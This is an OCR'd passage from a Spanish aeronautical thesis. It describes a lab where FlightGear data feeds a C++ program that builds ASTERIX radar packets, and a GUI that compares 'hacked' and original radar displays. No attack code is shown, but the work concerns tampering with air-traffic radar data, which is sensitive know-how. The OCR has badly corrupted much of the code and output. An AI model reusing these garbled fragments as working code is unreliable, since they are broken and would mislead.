/velocities/glideslope

Acceleration------------

/accelerations/nlf /accelerations/ned/north-accel-fps_sec
/accelerations/ned/east-accel-fps_sec Vaccelerations/ned/down—accel—fps_sec

Figura 27.11: Fragmento archivo README.properties

27.1.3.2. Utilizacion del archivo XML

Una vez confeccionado todo el archivo XML debemos guardarlo con extension ““.xml”
dentro de la carpeta:

e C:\Program Files\FlightGear 3.4.0\data\Protocol

Luego de guardar el archivo, debemos configurar FlightGear para que utilice el mismo
durante la simulacion de vuelo. Para esto, durante la configuracion de FlightGear debemos
ingresar a las opciones avanzadas en la Gltima pantalla de configuracion (Figura 27.7). Una
vez alli debemos ingresar a la opcidon “Input/Output” como se puede ver en la figura 27.12.
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# " Advanced Options O X
General Input/Output

Features
Flight Model
Freeze

Initial Position
Rendering
Time

Network
Avionics
Properties
Debugging

Sl"g;rt‘:}':;”em F'rotocol:lgemaric—ﬂ New I Deletel
Clouds Medium:lsocket VI
Direction: I out 2 I
HZ|1
Hostname:|192.168.1.200
Port:|53990

& TCP & UDP

Generic: I asterix3 VI

—ener|c=socketout1,1921681 S0053000 et ...

OK | Cancel

Figura 27.12: Configuracion de entrada/salida
A continuacion se detallaré la configuracion correspondiente:

e Protocol: En nuestro caso utilizaremos el protocolo “generic” ya que es el que se
utiliza cuando se realiza paquetes personalizados con los campos especificos que se
elijan.

e Medium: En nuestro caso utilizaremos un socket para enviar la informacion. El
simulador también brinda la posibilidad de enviar la informacion por el puerto serie
0 guardarla en un archivo.

e Direction: Se utiliza para definir el sentido de la informacidn a utilizar. Esta puede
ser “in”, “out” o “bi” que significa datos de entrada, de salida o en ambos sentidos
respectivamente. Esto va relacionado directamente con el contenido del archivo
XML, si en el mismo solo definimos la etiqueta “output” debemos seleccionar la
direccion “out” como es en nuestro caso.

e Hz: Define la frecuencia con la que transmitira la informacién definia en el archivo
XML, es decir la cantidad de veces por segundo que se enviara la misma. En
nuestro caso utilizamos el valor de 1 Hz para enviar un paquete por segundo ya que
se asemeja al tiempo de respuesta del transponder de la aeronave.

e Hostname: Define la direccion ip donde seran enviados los paquetes generados por
el simulador. En nuestro caso utilizamos la direccion de la maquina virtual utilizada
para el simulador Radar.

e Port: Define el puerto que se utilizara para realizar la comunicacion entre
FlightGear y el simulador radar. En nuestro caso decidimos utilizar el puerto 53990.
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e TCP/UDP: Checklist que define el protocolo que se utilizara para enviar los
paquetes. En nuestro caso utilizamos UDP.

e Generic: Define el archivo xml que utilizaremos para generar la informacion de
cada paquete. En esta lista se pueden ver todos los archivos que fueron guardada en
la carpeta “Protocol” de FlightGear. Debemos seleccionar el archivo que guardamos
anteriormente en dicha carpeta.

217.2. RADAR - AGIUA

Como se explico en apartados anteriores, el Radar es el encargado de recibir la informacion
de la aeronave, utilizarla para la creacion de los paquetes ASTERIX y enviarlos por un
socket UDP a la red. Para realizar este arduo trabajo hemos desarrollado un software
denominado AGIUA (ASTERIX Generator IUA).

AGIUA toma los datos por un puerto predefinido, los analiza y realiza las conversiones
necesarias para poder armar los nuevos paquetes en formato ASTERIX. Debido a que los
datos obtenidos, no son iguales a los utilizados por dicho protocolo se deben hacer varias
conversiones para obtener los datos necesarios, por ejemplo, en ASTERIX no se envian la
latitud y longitud de la aeronave, sino que se envian los datos en coordenadas polares y
cartesianas por lo que se debe realizar dicha conversion entre otras.

Una vez finalizadas las conversiones, armamos paquetes ASTERIX de una categoria ya
establecida y los enviamos por otro socket UDP al programa que simula el centro de
operaciones.

27.2.1. Esquema del programa

El sistema fue creado en su totalidad en el lenguaje C++. A continuacion se detallara cada
una de las clases que fueron creadas durante la realizacion del sistema y el objetivo de las
mismas. La Figura 27.13 muestra el diagrama UML del sistema.

BAIGORRIA, Facundo. 73
BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

Radar

+ socketS:SocketServidor SocketServidor
+ Socket_Servidor:int
+ Cliente:struct sockaddr_in

* Longytud7CI|ente:sockIen7t H + Abre_Socket_Unix(*Servicio:char):int

+ cant:int=33 11 = = . ! .

+ cant34:int=16 + Acepta_Conexion_Cliente (Descriptor:int):int
. + Abre_Socket_Inet (*Servicio:char):int

+ cant48:int=62 . .
+ prueba[33|:BYTE + Abre_Socket_Udp (*Servicio:char):int

+ pruebad8[62]:BYTE
+ prueba34[16]:BYTE

+ socketCli:SocketCliente

+ Socket_Con_Servidor:int SocketCliente
+ Datos:BYTE

+ :struct sockaddr_in

+ Servidor2:struct sockaddr_in
+ Longitud_Servidor:socklen_t 11 + Abre_Conexion_Unix(*Servicio:char):int
- longitud, latitud, velocidad, heading:float + Abre Conexion Inet (*Servicio:char):int

- xint, yintint + Abre_Conexion_Udp ():int
- valorX, valorY:double

+ Radar() Socket
+ cliente():void

+ recibirPaquete ():bool

+ enviarPaquete (*byte:BYTE, Longitud_Servidor:socklen_t, Socket_Con_Servidor:int,
Servidor:sockaddr_in, socketCli:SocketCliente, IngPaguete:int).void + Lee_Socket (fd:int, *Datos:char, Longitud:int):int

+ Escribe_Socket (fd:int, *Datos:char, Longitud:int):int

+ Lee_Socket_Udp (fd:int, *Remoto:struct sockaddr,
*Longitud_Remoto:socklen_t, *Datos:char, Longitud_Datos:int):int
+ Escribe_Socket_Udp (fd:int, *Remoto:struct sockaddr,
Longitud_Remoto:socklen_t, *Datos:char, Longitud_Datos:int):int

+ Dame_Direccion_Udp (*Host:char, *Servicio:char, *Servidor:struct
sockaddr_in, *Longitud_Servidor:int):int

Figura 27.13: Diagrama UML sistema simulador Radar
A continuacién se detallaran cada una de las clases:

e Socket: Clase general que posee las principales funciones para la comunicacion por
socket. Posee funciones de lectura y de escritura para que sean utilizadas tanto por
un servidor como por un cliente.

e SocketServidor: Clase que hereda de la clase Socket. Es la encargada de abrir los
sockets necesarios para la comunicacion y de aceptar las conexiones de los clientes
con el servidor.

e SocketCliente: Clase que hereda de la clase Socket. Es la encargada de abrir las
conexiones con el servidor.

e Radar: Es la clase principal del programa. Es la encargada de recibir los paquetes
provenientes de FlightGear, realizar las conversiones necesarias de los datos, la
generacion de paquetes Asterix y el envio de los mismos al centro de operaciones.
Como se puede ver en el diagrama de la Figura 27.13, esta utiliza las clases
SocketCliente y SocketServidor para realizar su tarea.

27.2.2. Funcionamiento

En esta seccion se detallara el funcionamiento del sistema para lograr su objetivo. Para ello
se creara una lista numerada de las actividades que realiza el mismo.

1. Primero el programa se encarga de crear e inicializa un objeto de la clase radar. En
el constructor del mismo se crean 3 arreglos que se utilizaran como base para crear
los paquetes Asterix de las categorias 1, 34 y 48 siempre que sean necesarios.
Durante el funcionamiento del programa, cuando se necesite un paquete especifico,
se utilizara como base algunos de estos 3 arreglos y se modificaran dependiendo la
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informacion que sea necesaria. Por ejemplo, cuando necesitemos enviar un paquete
Asterix de la categoria 48, se tomara el arreglo correspondiente a dicha categoria, se
modificara la direccidn del avion, la velocidad, las coordenadas cartesianas, etc. y se
enviard al centro de operaciones. La Figura 27.14 muestra un fragmento del
constructor de la clase radar.

radar: :radar() {
cant=33;
cant34=16;
cant48=62;
//CADENAS ASTERIX
//Paquete categorla 48);
pruebad8[(]=0x30; pruebadd[1]=0 pruebadg8[2]=
pruebad8[3]=( pruebad8l4] pruebads[
pruebad8[&]=( pruebad8[7] pruebad8[8]=
pruebadd[2]=( pruebadg8[ 10 pruebad8[11]
prueba4s8[1z prusba48[13 //12-13 RHO 14-15 THETA
pruebad8[1 prusbad8[16
pruebad8[ 1t pruebad8[19]=
pruebad8[21] pruebad8[22]= /123, 24 y 25 es el ailrcraft address
pruebad8[24] pruebad8[25]=
pruebad8[Z8]=
pruebad8[3l]= pruebad8[32]
pruebad8[34]= pruebad8[35]
pruebad8[37]= pruebad8[38]
pruebadd[40]= pruebadg[41]
prusbad843]= pruebad8[44]
pruebad8[46]= pruebad8[
pruebad8[49 pruebad8[
prueba48[51] pruebad8[52]= pruebads| //51-52 X |, 53-54 Y
pruebad8[54] pruebad8[55]= pruebad8[56 c;//55-56 vel, 57-58 heading
nriehadfrs7] nriehadRrSR1- nriehsdRI501ZAvA0

Flgura 27.14: Fragmento de codigo consfructor clase Radar

2. Una vez finalizada la creacién del objeto de la clase Radar, el programa llama a la
funcién de dicha clase encargada de los sockets que utilizara el programa tanto
como para recibir datos como para enviarlos.

Primero se encarga de realizar las conexiones mediante socket con el servidor
alojado en el centro de operaciones. Ademas, crea otra conexion con el servidor que
se encuentra en el programa graficador del ataque, cuyo objetivo es meramente
poder representar los datos originales para poder compararlos una vez que se realice
el ataque. Esto se explica en detalle en el apartado “27.3. CENTRO DE
OPERACIONES — GRAFICADOR DEL ATAQUE”.

Esta funcion también se encarga de crear un socket servidor para recibir los datos
enviados por FlightGear. La Figura 27.15 muestra el cddigo de dicha funcion.
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void radar::cliente() {
int leidos;

Socket_Con_Servidor = socketCli.Abre_ Conexion_Udp ();

if (Socket_Con_Servidor == -1) {
printf ("No puedo establecer conexion con el servidor\n");
exit (-1);

}
//SERVIDOR 1 (ESTE ES EL QUE VA A SER ATACADO)
Longitud_Servidor = sizeof(Servidor);

if (socketCli.Dame Direccion Udp ("192.168.1.201", "cpp_java", &Servidor,
(int *)&Longitud_Servidor) == -1) {
printf ("No se pueden obtener los datos del servidor\n");
exit (-1);

}
//SERVIDOR 2 (ESTE VIAJA DIRECTO. ORIGINAL SIN ATACAR)
Longitud Servidor = sizeof(Servidor2);

if (socketCli.Dame Direccion_Udp ("192.168.1.211", "cpp_java2", &Servidor2,
(int *)&Longitud Servidor) == -1) {
printf ("No se pueden obtener los datos del servidor\n");
exit (-1);

//Se abre el socket servidor, con el servicio "fg_plane" dado de
//alta en /etc/services.
Socket_Servidor = socketS.Abre_Socket Udp ("fa plane");
if (Socket Servidor == -1) {
printf ("No se puede abrir socket servidor\n");
exit (-1);

Longitud_Cliente = sizeof (Cliente);

pr—intf(“\n(#(Q!QIO)0!04&0!090!0000(4!000!0)\n");
printf(" Esperando encontrar un aviodn..");
printf(“\néb%Qf%lQf%“O“é%iéf%1#50565{5%%%55\[1");

Figura 27.15: Cédigo funcion “Cliente” de la clase radar

3. Una vez establecidas todas las conexiones de los socket para poder enviar y recibir
datos, el programa se encarga de esperar datos provenientes de FlightGear para
procesar su informacion. Para esta espera se utilizé la libreria GLib, la cual posee
una funcién que permite realizar una llamada a una funcion cada cierto tiempo. La
Figura 27.16 muestra dicha funcion.

//Lectura timeada de la funcion recibirPaqguete
Glib::signal_ timeout().connect(sigc::ptr_ fun(&recibirPaguete), 1000);

Figura 27.16: Funcidn signal_timeout de la libreria GLib.

Como se puede observar en la figura, la llamada encarga de recibir la informacion
que llega desde FlightGear se llama “recibirPaquete” y pertenece a la clase “radar”.
Cuando recibe un paquete, dicha clase se encarga de decodificar el mismo y guardar
los valores necesarios en variables para poder generar los paquetes Asterix. La
Figura 27.17 muestra el fragmento de codigo que se encarga de esto.
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bool radar::recibirPaquete() {
int lngPaquete=2;

//Recibimos todo el paquete

char paquete[37];

socketS.Lee_Socket_Udp (Socket_Servidor, (struct sockaddr *)&Cliente,
&Longitud Cliente, (char *)&paquete, sizeof(paguete));

printf("+**AIRCRAFT RECEIVED PACKET**\n");

printf("-Packet length: %d \n",sizeof (paquete));

//Cambiamos todos los puntos por comas
for(int i=0;i<sizeof (paquete);i++)

{

if (paquete[i]==C
paquete[i]=C
}
//Convertimos todos el paquete recibido
string ptr;

//Longitud
ptr = strtok(paquete,";");
longitud= atof(ptr.c_str ());

printf("-Aircraft Longitude: %f \n", longitud);
//Latitud

ptr=strtok(NULL, ";");

latitud = atof(ptr.c_str ());

printf("-Aircraft Latitude: %f \n", latitud);

Figura 27.17: Cdédigo funcion recibirPaquete. Decodificar informacion

4. Una vez finalizada la decodificacion del paquete proveniente de FlightGear y
obtencidon de los datos necesarios, se prosigue a la conversion de los mismos en la
informacidn necesaria para generar los paquetes Asterix. Una de las principales
conversiones es transformar los datos de longitud y latitud en coordenadas
cartesianas, ya que en el paquete Asterix no existe un campo que transporte la
longitud y latitud pero si las coordenadas. La Figura 27.18 muestra el codigo
utilizado para realizar todas las conversiones necesarias y el armado del paquete
Asterix con la nueva informacion obtenida.
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//AERCPUERTO CBA

double latRadar=-31.3125949&;

double lonRadar=-64.202027

double radioTierra=6372.795477598;

print f{"**RADAR DATA*¥\n"};

printf("-Radar Latitude: %.8f \n", latRadar);

printf("-Radar Longitude: %.8f \n", lonRadar);

double distancia=radioTierra*acos(sin(latitud*PI/180)*sin(latRadar*PI/180)+
cos(latitud*PI/180)*cos(latRadar*PI/180)*
cos(longitud*Pl/180-1onRadar+*PI/180)) ;

printf("Distance aircraft (nm): %f \n\n", distancia*@.539957);

//calculo del angulo

double deltaT= log (tan(latitud/Z + PI/4)/tan(latRadar/Z2+P1/4));

double deltalon= abs (lonRadar-longitud);

double angulo= atanZ(deltalon,deltaT)*180/PI;

//Calculo de cartesianas

double anguloCartesianas=fmod({(360-angulo+9a),360);

valorX=cos(anguloCartesianas*PI/180)*distancia;

valorY=sin{anguloCartesianas*Pl/180)*distancia;

if (fabs(longitud)=>fabs(lonRadar))

valorX=-1*valorX;

xInt= (int) (valorX*128);

yInt= (int) (valorY*128);

print f{"*+ATRCRAFT D CONVERSION TO ASTERIX*#\n");

printf("Cartesian coordinates ASTERIX (x,y): (%04x,%04x) \n", xInt,yInt);

//coordenadas cartesianas

pruebad8[51]=xInt>==8; pruebad8[52]=xInt & OxFF;

pruebad8[53]=yInt>>8; pruebad8[54]=yInt & OxFF;

//coordenadas polares

int rho=(int) (distancia*258);

int theta=(int) (angulo/(360/pow(2,16)));

pruebad8[12]=rho>>8; pruebadB[13]=rho & GOxFF;

pruebad8[14]=theta>>8; prueba48[15]=theta & UxFF;

printf("Polar coordinates ASTERIX (rho,theta): (%04x,%04x) \n\n", rho,theta);

Figura 27.18: Cddigo conversion de datos

5. Una vez finalizado el armado del pagquete Asterix, se envia el mismo al centro de
operaciones a través del socket creado anteriormente. También se envia el mismo
paquete al programa “Graficador del ataque” como se ye explico anteriormente.
Esto se muestra en la Figura 27.19 y 27.20.

enviarPaguete(pruebad8,Longitud Servidor, Socket Con_Servidor,Servidor,
socketCli, sizeof(pruebad8));

printf ("**Packet sent to the operations center**\n");

PELIER (M er s e s e g S S T T T T S T L P P wnint);

enviarPaguete(prueba48,Longitud Servidor, Socket Con Servidor,Servidorz,
socketCli, sizeof(prusbad8));

Figura 27.19: Codigo envid del paquete al centro de operaciones

void radar::enviarPaquete (BYTE *byte, socklen_t Longitud Servidor,
int Socket_Con_Servidor, sockaddr_in Servidor,
SocketCliente socketCli, int lngPaquete )
{
// Se envia el mensaje al servidor
if (socketCli.Escribe Socket Udp(Socket_Con_Servidor,
struct sockaddr*)&Servidor,Longitud Servidor,
(char *)byte, lngPaquete) == -1)
{
printf ("Error al enviar datos al servidor\n');
exit (-1);
};
1
Figura 27.20: Codigo de la funcion enviarPaquete
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27.2.3. Puesta en marcha

El programa no posee ningln comando para su correcto funcionamiento. Luego de que es
ejecutado se pone a la espera de recibir paquetes provenientes de FlightGear para
decodificarlos, transformar la informacion, armar el paquete Asterix y enviarlo al centro de
operaciones. La Figura 27.21 muestra el programa en funcionamiento.

| Terminal - tomuz@pcRadar:/home/tomuz/dev/clienteasterixgui
Archivo Editar Ver Terminal Ir Ayuda

** ATRCRAFT RECEIVED PACKET*#*
-Packet length: 37

-Aircraft Longitude: 2,029360
-Aircraft Latitude: 41,325729
-Aircraft speed: 141,584915

**+RADAR DATA#**

-Radar Latitude: 41,29694400
-Radar Longitude: 2,07833300
Distance aircraft (nm): 2,805233

++ATRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX (x,y): (022b,fffffe92)
Polar coordinates ASTERIX (rho,theta): (0531,57cl)

|**Packet sent to the operations center#*#*

Figura 27.21: Simulador Radar en funcionamiento

La informacion mostrada en la figura es de un paquete en particular. Esta informacion se
muestra por cada uno de los paquetes que recibe el programa.

El la Figura 27.22 se muestra el mismo paquete que en la figura anterior pero se divide el
mismo en secciones para poder explicar cada una de los mensajes recibidos.
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| Terminal -tomuz@pcRadar:/homej/tomuz/dev/clienteasterixgui
Archivo Editar Ver Terminal Ir Ayuda

**+* ATRCRAFT RECEIVED PACKET**I A

-Packet length: 37

-Aircraft Longitude: 2,029360
-Aircraft Latitude: 41,325729
-Aircraft speed: 141,584915

++RADAR DATA**

-Radar Latitude: 41,29694400
-Radar Longitude: 2,07833300 3
Distance aircraft (nm): 2,805233

++ATRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX (x,y): (022b,fffffed2) a
Polar coordinates ASTERIX (rho,theta): (0531,57cl)

**¥Packet sent to the operations center** | g

Figura 27.22: Detalle del funcionamiento del Simulador Radar

A continuacion se detalla cada una de las secciones de la imagen y se mostrara la relacion
con el apartado anterior (27.2.2 Funcionamiento) en las diferentes secciones:

1.

2.

Mensaje mostrado cuando se recibe un paquete proveniente de FlightGear. Muestra
el resultado de la seccién 3 del apartado anterior.

Muestra los datos obtenidos del paquete recibido. Muestra el resultado de la seccion
3 del apartado anterior.

Muestra los datos especificos del radar que se esta simulando. En este caso un radar
ubicado en el aeropuerto de Cordoba. También se puede ver la distancia entre el
radar y la aeronave gracias a los datos obtenidos anteriormente. Muestra el resultado
de la seccidn 4 del apartado anterior.

Se muestra el resultado de la conversion de los datos a la informacion necesaria para
armar los paquetes Asterix. En este caso se obtuvieron las coordenadas cartesianas y
polares. Muestra el resultado de la seccidn 4 del apartado anterior.

Se informa que el nuevo paquete Asterix fue enviado al centro de operaciones.
Muestra el resultado de la seccion 5 del apartado anterior.

27.3. CENTRO DE OPERACIONES - GRAFICADOR DEL ATAQUE

Debido a la necesidad de un programa a medida que se encargue de mostrar el ataque
realizado de forma realista y representativa, se decidid crear un sistema que cumpla con
todas estas necesidades y que ademas funciones como simulador del centro de operaciones
ya que, a modo operativo, cumple la misma funcion.
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Como se puede observar en la Figura 27.23 el objetivo del programa es representar
graficamente el comportamiento de ataque y asi, poder contrastarlo con el sistema original
en el caso que no haya sido comprometido.

- G =5 4 -8 X
Fle Edit View Help ez

HACKEADO ORIGINAL

N\
G

Figura 27.23: Interfaz gréfica sistema de radares.

Z

N

N
/
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La interfaz grafica del programa se divide principalmente en dos areas:

e Radar Original: en el sector derecho se puede ver el radar original, en el cual se
representa el funcionamiento normal del radar en el centro de operaciones siempre
y cuando no se haya realizado el ataque.

e Radar Hackeado: en el sector izquierdo se puede ver el comportamiento del radar
una vez comprometido el sistema de radarizacion.

Se eligio esta disposicion de los radares para poder ver con facilidad el potencial del ataque
realizado y también medir los posibles dafios causado si se pone en marcha el mismo.

27.3.1. Esquema del programa

El sistema fue creado en su totalidad en el lenguaje C++. Para la parte grafica se utiliz6 de
biblioteca GTK+ a través de la interfaz “gtkmm”. Para dibujar los radares se utiliz6 la
libreria “goocanvamm” que es una adaptacion de la libreria GooCanvas para c++.

Debido a que el programa debe llevar a cabo muchas tareas en simultaneo, se decidié hacer
uso de hilos a través de la biblioteca “pthreads”. Gracias a la utilizacion de esta libreria, se
pudo utilizar semaforos binarios 0 mutex para solventar problemas de acceso a variables.

A continuacion se detallara cada una de las clases que fueron creadas durante la realizacion
del sistema y el objetivo de las mismas. La Figura 27.24 muestra el diagrama UML del
mismao.
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categorial

+ catl(&contadorBits:int, &colaBits:cola,
(*recibirByte)():BYTE, &largo:int):void
- catl_2 ((*recibirByte)():BYTE, &largo:int):void

categoria34

+ cat34(&contadorBits:int, &colaBits:cola,
(*recibirByte)():BYTE, &largo:int):void

- cat34_6_0 ((*recibirByte)():BYTE, &largc:int):void
- cat34_6_3 ((*recibirByte)():BYTE, &largo:int):void
- cat34_6_4 ((*recibirByte)():BYTE, &largo:int):void
- cat34_6_5 ((*recibirByte)():BYTE, &largo:int):void
- cat34_7_0 ((*recibirByte)():BYTE, &larga:int):void
- cat34_7_3 ((*recibirByte)():BYTE, &largo:int):void
- cat34_7_4 ((*recibirByte)():BYTE, &largo:int):void
- cat34_7_5 ((*recibirByte)():BYTE, &largo:int):void

categoriad8

_____ - cola
| - primero:nodo nodo <<struct>>
| _ _> - ultimo:nodo e avionl
0. 1 - valor:bool
<>* | = —> + Anadir(v:bool):void M B l'a.lor.Bytf'FYgE +x_avion:double
|— — _> + lanaderytOe(v:ElYTE):void :*2:33:::t:gy?le'on0do +y_avion:double
+ leerByte ():BYTE + r_avion:
| | + Leer():bool + nodo(v:bool, *sig:nodo)=NULL + angulo_avion:double
| | + isVacia():boal + nodo(v:BYTE, *sig:noda)=NULL + cuadrante:bool
| + marcar:bool
I N + crecer:bool
| | 0.. + radio_avion:double
I | 1 + x_aux:double
| +y_aux:double
F— <« J : + identificador_avion:int
| servidor + avion:
K Goocanvas::Ellipse
1 + socketS:SocL_cengwldor +*sgt:avionl
+ Socket_Servidor:int + *antavionl
0. 1 + Cliente:struct sockaddr_in
+ Longitud_Cliente:socklen_t
" + largo:int
OD' ! + fspec:int

+ yRadar:double;

+ xRadar:double;

+ identificador_avion:int;
- y:double;

- x:double;

+ cat48(&contadorBits:int, &colaBits:cola,
(*recibirByte)():BYTE, &largo:int):void

- catd8_3 ((*recibirByte)():BYTE, &largo:int).void
- cat48_14 ((*recibirByte)():BYTE, &largo:int):void
- catd8_21 {(*recibirByte)():BYTE, &largo:int):void

Socket

+ Lee_Socket (fd:int, *Datos:char, Longitud:int):int
+ Escribe_Socket (fd:int, *Datos:char, Longitud:int):int
+ Lee_Socket_Udp (fd:int, *Remoto:struct sockaddr,

+ Escribe_Socket_Udp (fd:int, *Remoto:struct sockaddr,

+ Dame_Direccion_Udp (*Host:char, *Servicio:char,
*Servidor:struct sockaddr_in, *Longitud_Servidor:int):int

*Longitud_Remoto:socklen_t, *Datos:char, Longitud_Datos:int):int

Longitud Remota:socklen_t, *Datos:char, Longitud_Datos:int):int

[}

+ bitsFSPEC][32]:bool
+ primerBitEnL:int

+ colaBits:cola

+ colaByte:cola;

+ contadorBits:int

+ numeroRegistro:int
— + cl:categorial

+ c34:categoria34

+ c48:categoriad8

|
A
1
|
| + categoriaiint
|
T
|
|
|
|

Graficador

+ server():int

+ recibirPaquete()void

+ recibirByte().BYTE

+ decodificarCategoria():void
+ decodificarRegistro(int):void
+ decodificarFSPEC():void

# width, height, anguloFinal:int

#r, angulo, x, ¥, x_mav, y_mav, angulo_moav:double

# X_avion, y_avion, r_avion, angulo_avion:douhle

# cuadrante, marcar:bool

# radio_avion:double

# root_item:Goocanvas::litem

# lineH_item, lineV_item, barredor:Goocanvas::Polyline

# pts:Goocanvas::Points

# rect_item:Goocanvas::Rect

# elip_item1, elip_item2, elip_item3, elip_item4, avion:Goocanvas::Ellipse
# avion_usar:int

# *lista_aviones, *avion_nuevo, *avion_aux, *avien_aux_econtrado:avionl
# *avion_aux_cantidad, *avion_aux_barrer, *arreglo_aviones[20]:avionl

- crecer, noAgregar, noAgregarBarrer:bool

-*nuevo_avion: avionl

SocketServidor

+ Abre_Socket_Unix(*Servicio:char):int
+ Acepta_Conexion_Cliente (Descriptor:int):int
+ Abre_Socket_Inet (*Servicio:char):int
+ Abre_Socket_Udp (*Servicio:char):int

+ Graficador(width:int, height:int)

+ barrer{void).bool

+ pantalla(void):void

+ agregar_barredor(r:double, angulo:double, x1:double, y1:double):void
+ agregar_avion(x:double, y:double, identificador:int):void

+ marcar_avion():hool

+ mover_avion(xAsterix:double, yAsterix:double, identificador:int):bool
+ corroborar_avion_existente(identificador.int):hool

+ int cantidad_elementos_lista{void)

+ crear_aviones(void):void

- cuadrante_correcto(x1:double, y1:double, x2:double, y2:double):bool

Figura 27.24: Diagrama UML sistema de radares
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A continuacion se detallaran cada una de las clases:

e Categorial: Clase que se utiliza para decodificar los paquetes Asterix
pertenecientes a la categoria 1. Dicha clase se reutiliza del programa creado para
simular el centro de operaciones.

e Catgoria34: Clase que se utiliza para decodificar los paquetes Asterix
pertenecientes a la categoria 34. Dicha clase se reutiliza del programa creado para
simular el centro de operaciones.

e Categoria48: Clase que se utiliza para decodificar los paquetes Asterix
pertenecientes a la categoria 48. Dicha clase se reutiliza del programa creado para
simular el centro de operaciones.

e Cola: El objetivo de esta clase es crear una cola que cumple dos funciones. Por un
lado, cuando se recibe un paquete Asterix nuevo, se guardan todos los bytes que lo
componen para luego poder decodificarlos con mayor facilidad. Por otra parte se
utiliza para guardar los bits de un byte especifico, ya que, en algunos casos es
necesario decodificar cada byte bit por bit.

¢ Nodo: Esta clase se utiliza para generar los objetos que se agregaran a la cola que se
definié anteriormente. En la misma se guardara el valor del byte o bit segun
corresponda y también se definira la direccion de memoria del siguiente elemento
de la cola.

e Socket: Clase general que posee las principales funciones para la comunicacion por
socket. Posee funciones de lectura y de escritura para que sean utilizadas tanto por
un servidor como por un cliente.

e SocketServidor: Clase que hereda de la clase Socket. Es la encargada de generar
las conexiones y abrir los sockets necesarios para la comunicacion.

e Servidor: Es una de las clases principales del programa. Es la encargada de recibir
los paquetes y decodificarlos para poder utilizar su informacion. Como se puede ver
en la Figura 17.2, esta utiliza todas las clases definidas hasta el momento para
realizar su tarea.

e Avionl: Estructura de datos que se utiliza para realizar una lista enlazada doble de
cada uno de los aviones que se deben mostrar en el radar. La misma contiene
informacidn especifica de cada una de las aeronaves.

e Graficador: Es la clase que, mediante la libreria goocanvasmm, se encarga de la
realizacion de los gréaficos de los radares en su totalidad.

27.3.2. Funcionamiento

En esta seccion se detallara el funcionamiento del sistema para lograr su objetivo. Para ello
se creara una lista numerada de las actividades que realiza el mismo.

Primero el programa se encarga de crear y enlazar todos los componentes de la interfaz
grafica del sistema. Para esto, como se explicO anteriormente, hace uso de la libreria
“eotkmm”. Para la creacion de la interfaz gréafica se utilizo el programa GLADE, que es una
herramienta de desarrollo visual, basado en la libreria “GTK”. La misma es independiente
de lenguaje de programacion ya que genera un archivo XML y no codigo fuente en algun
lenguaje especifico. La Figura 27.25 muestra a GLADE en funcionamiento con la interfaz
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gréfica de nuestro sistema terminado, mientras que la Figura 27.26 muestra el codigo de la
inicializacion de la interfaz gréfica.

2 RadaresGUI. ui
Archivo Editar \er Proyectos Ayuda
7 & & % B % &% |8
T TR ST IRy
macciones | RadaresGUIUI % |
] &= [ i ||= [ main_window GtkWindow
Fle Edit View Help = B vbox1 GtkVBox
©a “'_L| HACKED OR’G’NAL + [ menubarl  GtkMenuBar
—Niveles superior... = B box1 GtkBox
— = 1avel txtOrigina GtkiLabel
E T el txtHackeado GtkLabel
(] = (D hbox1 GtkHBox
p
= plot_scrwdwl GtkScrolledwindow
— Contenedores
g @ D S ‘ Propiedades de \entana con barras de desplazamiento - G...
I:‘ [Eite. | General "Empaguetado Comunes | Sefiales | &,
[Go % ED Nombre: plot_scrwdw
ooo  [E] Ajuste horizontal:
[ﬁ b n Ajuste vertical:
2 Directiva de la bara d -
(_ﬁ d;rsesla“;aamieer?toTwrg?iz:ntal: Sutoratico M
de la b d ”
—IControl y exhibi... glersepclg\gmiee:to?g?‘tic;: Gilomatico vie
8- Colocacioén de la ventana: Arriba a la derecha v
- m o szﬁatla):fac:e la colocacién de la No
o3 B E ]
Figura 27.25: Programa GLADE con interfaz de usuario creada
void add_plot(void) {
z 7 ] grafl= new Graficador(400,400);
int main gJ.nt arge, chaE_ *.‘argv [0 { grafl->show();
slzquierda. nroSona:—l ; plot_scrwdwl->add(*grafl);
sDerecha.nrosonar=2; plot_scrwdwl ->show_all children();
Gtk::Main kit(argc, argv); grafD= new Graficador(400,400);
grafD->show() ;
Glib: :RefPtr«Gtk::Builder> builder; plot_scrwdwD->add(*grafD) ;
try plot_scrwdwD->show_all _children();
}
builder =
Gtk::Bullder::create_from_file(UI_FILE);|void connect_widgets(Glib::RefPtr<Gtk::Builder>
builder) {
catch (const Glib::FileError & ex) builder->get_widget ("main_window",
main_win) ;
std::cerr << ex.what() << std::endl; builder->get_widget ("plot_scrwdw",
return 1; plot_scrwdwl) ;
builder->get_widget ("plot_scrwdwl",
} Al 3
plot_scrwdwD) ;
}

Figura 27.26: Codigo inicializacion interfaz grafica

1. Una vez creada la interfaz grafica del programa, se crean 2 objetos de la clase
graficador, los cuales se encargaran de manejar cada uno de los radares. Ya creados
los objetos, se utilizan los mismos para llamar a las funciones que se encargan de
dibujar y configurar ambos radares. La Figura 27.27 muestra un fragmento de

BAIGORRIA, Facundo. 84

BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

cddigo de la funcién de la clase Graficador encargada de configurar los elementos
que se agregaran al canvas para lograr las formas de los radares.

void

Graficador::pantalla(void)

{
//Rectangulo Fondo
rect_item = Goocanvas::Rect::create(8, 0, 400, 400);
rect_item->set_property("1ir Tt 0. 635
rect item-»set property('s or", Glib::ustring("white"});
rect_item-=set property{"fill-color", Glib::ustring{"white"});
root_item-=add child{rect_item);

//Circulo 1

elip_iteml = Goocanvas::Ellipse::create(200, 200, 200, 200);

elip iteml->set property("line dth", 4.0);

elip iteml->set property("stroks lor", Glib::ustring("black"));
elip_iteml-=set property("fill-color", Glib::ustring('white"});
root_item-=add child{elip_iteml);

//circulo 2

elip_item2 = Goocanvas::Ellipse::create(200, 200, 150, 150);

elip item2->set property("line o i R (O
elip_item2->set_property("stroke lor", Glib::ustring('black"));

elip_item2->set property("fill-color”, Glib::ustring("white"));
root_item-»add _child({elip_item2);

Alelredle 3
elip_item3 = Goocanvas::Ellipse::create(200, 200,
elip item3->set property("line dth", 4.0);
elip_item3->set_property('st lor", Glib::ustring{"black"));
elip_item3->set_property("fill-color", Glib::ustring("white")});
root_item-»add child(elip_item3);

Figura 27.27: Fragmento de cddigo configuracion canvas

00, 100);

2. Finalizada la creacion y configuracion de los radares el programa crea 3 hilos
